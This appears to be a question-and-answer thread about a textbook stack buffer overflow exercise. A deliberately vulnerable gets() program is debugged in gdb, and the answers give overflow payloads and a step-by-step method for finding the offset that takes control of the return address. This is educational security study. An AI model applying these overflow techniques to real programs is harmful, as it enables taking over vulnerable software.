1
votes

I was taking at this example w.r.t. shellcoder's handbook(second edition), and have some question about the stack

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) set disassembly-flavor intel    
(gdb) list    
1   void ret_input(void){    
2       char array[30];  
3     
4       gets(array);  
5       printf("%s\n", array);  
6   }  
7   main(){  
8       ret_input();  
9     
10      return 0;  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   ebp  
   0x08048415 <+1>: mov    ebp,esp  
   0x08048417 <+3>: sub    esp,0x24  
   0x0804841a <+6>: lea    eax,[ebp-0x1e]  
   0x0804841d <+9>: mov    DWORD PTR [esp],eax  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    eax,[ebp-0x1e]  
   0x08048428 <+20>:    mov    DWORD PTR [esp],eax  
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb) break *0x08048420  
Breakpoint 1 at 0x8048420: file sc.c, line 4.  
(gdb) break *0x08048431  
Breakpoint 2 at 0x8048431: file sc.c, line 6.  
(gdb) run  
Starting program: /root/pentest/sc   

Breakpoint 1, 0x08048420 in ret_input () at sc.c:4  
4       gets(array);  
(gdb) x/20x $esp  
0xbffff51c: 0xbffff522  0xb7fca324  0xb7fc9ff4  0x08048460  
0xbffff52c: 0xbffff548  0xb7ea34a5  0xb7ff1030  0x0804846b  
0xbffff53c: 0xb7fc9ff4  0xbffff548  0x0804843a  0xbffff5c8  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) continue   
Continuing.  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  

Breakpoint 2, 0x08048431 in ret_input () at sc.c:6  
6   }  
(gdb) x/20x 0x0bffff51c  
0xbffff51c: 0xbffff522  0x4141a324  0x41414141  0x41414141  
0xbffff52c: 0x42424242  0x42424242  0x43434242  0x43434343  
0xbffff53c: 0x43434343  0x44444444  0x44444444  0xbffff500  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) ^Z  
[1]+  Stopped                 gdb -q sc  
root@bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc   
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�  
root@bt:~/pentest# 

in this example i was taking 48 bytes "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" that to rewrite ret address, and all is work. But when i tried to use example from first edition of this book, i faced with some problem

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   %ebp  
   0x08048415 <+1>: mov    %esp,%ebp  
   0x08048417 <+3>: sub    $0x24,%esp  
   0x0804841a <+6>: lea    -0x1e(%ebp),%eax  
   0x0804841d <+9>: mov    %eax,(%esp)  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    -0x1e(%ebp),%eax  
   0x08048428 <+20>:    mov    %eax,(%esp)   
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb)   

why program has taken 24(hex)=36(dec)bytes for array, but i used 48 that rewrite, 36 bytes of array, 8 bytes of esp and ebp(how i know), but there are steel have 4 unexplained bytes

ok, lets try out the sploit from first edition of book who rewrite all of array by address of call function, in book they had "sub &0x20,%esp" so code is

main(){  
 int i=0;  
 char stuffing[44];  

 for (i=0;i<=40;i+=4) 
 *(long *) &stuffing[i] = 0x080484bb;  
 puts(array);  

i have ""sub &0x24,%esp" so my code will be

main(){  
 int i=0;  
 char stuffing[48];  

 for (i=0;i<=44;i+=4)
 *(long *) &stuffing[i] = 0x08048435;  
 puts(array); 

result of the shellcoders' handbook

 [root@localhost /]# (./adress_to_char;cat) | ./overflow  
input   
""""""""""""""""""a<u___.input  
input  
input  

and my result

root@bt:~/pentest# (./ad_to_ch;cat) | ./sc  
5�h���ل$���������h����4��0��˄  
inout  
Segmentation fault  
root@bt:~/pentest#  

What's problem? i was compiling with

-fno-stack-protector -mpreferred-stack-boundary=2

2

2 Answers

3
votes

I suggest you better get the amount of bytes necessary to overflow the buffer by trying in GDB. I compiled the source you provided in your question and ran it through GDB:

gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]

(Do note that I use Python to create my input instead of a compiled C program. It really does not matter, use what you prefer.)

So 30 bytes are fine. Let's try some more:

gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

gdb$ i r $eip
eip            0x41414141   0x41414141

Our eip register now contains 0x41414141, which is AAAA in ASCII. Now, we can gradually check where exactly we have to place the value in our buffer that updates eip:

gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()

B is 0x42. Thus, we overwrote half of eip when using 40 A's and four B's. Therefore, we pad with 42 A's and then put the value we want to update eip with:

gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()

We got full control over eip! Let's try it. Set a breakpoint at the end of ret_input (your addresses may vary as I recompiled the binary):

gdb$ dis ret_input
Dump of assembler code for function ret_input:
   0x08048404 <+0>: push   %ebp
   0x08048405 <+1>: mov    %esp,%ebp
   0x08048407 <+3>: sub    $0x38,%esp
   0x0804840a <+6>: lea    -0x26(%ebp),%eax
   0x0804840d <+9>: mov    %eax,(%esp)
   0x08048410 <+12>:    call   0x8048310 <gets@plt>
   0x08048415 <+17>:    lea    -0x26(%ebp),%eax
   0x08048418 <+20>:    mov    %eax,(%esp)
   0x0804841b <+23>:    call   0x8048320 <puts@plt>
   0x08048420 <+28>:    leave  
   0x08048421 <+29>:    ret    
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421

As an example, let's modify eip so once returning from ret_input we end up at the beginning of the function again:

gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�    

--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>:    ret    
   0x8048422 <main>:    push   ebp
   0x8048423 <main+1>:  mov    ebp,esp
   0x8048425 <main+3>:  and    esp,0xfffffff0
   0x8048428 <main+6>:  call   0x8048404 <ret_input>
   0x804842d <main+11>: mov    eax,0x0
   0x8048432 <main+16>: leave  
   0x8048433 <main+17>: ret    
--------------------------------------------------------------------------------

Breakpoint 1, 0x08048421 in ret_input ()

We pad 42 A's and then append the address of ret_input to our buffer. Our breakpoint on the ret triggers.

gdb$ x/w $esp
0xffffd30c: 0x08048404

On top of the stack there's the last DWORD of our buffer - ret_input's address.

gdb$ n
0x08048404 in ret_input ()    

gdb$ i r $eip
eip            0x8048404    0x8048404 <ret_input>

Executing the next instruction pops that value off the stack and sets eip accordingly.

On a side note: I recommend the .gdbinit file from this guy.

1
votes

This row :

for (i=o;i<=44;i+=4);

Remove the ; from the end. I also assume that the o(letter o) instead of 0(zero) is mistyped here.

The problem is that your for loop is executing ; (a.k.a. do nothing) until i becomes larger then 44, and then you execute the next command with i = 44 wich is outside the bounds of array and you get Segmentation Error. You should watch out for this type of error as it is hardly visible and it is completely valid c code.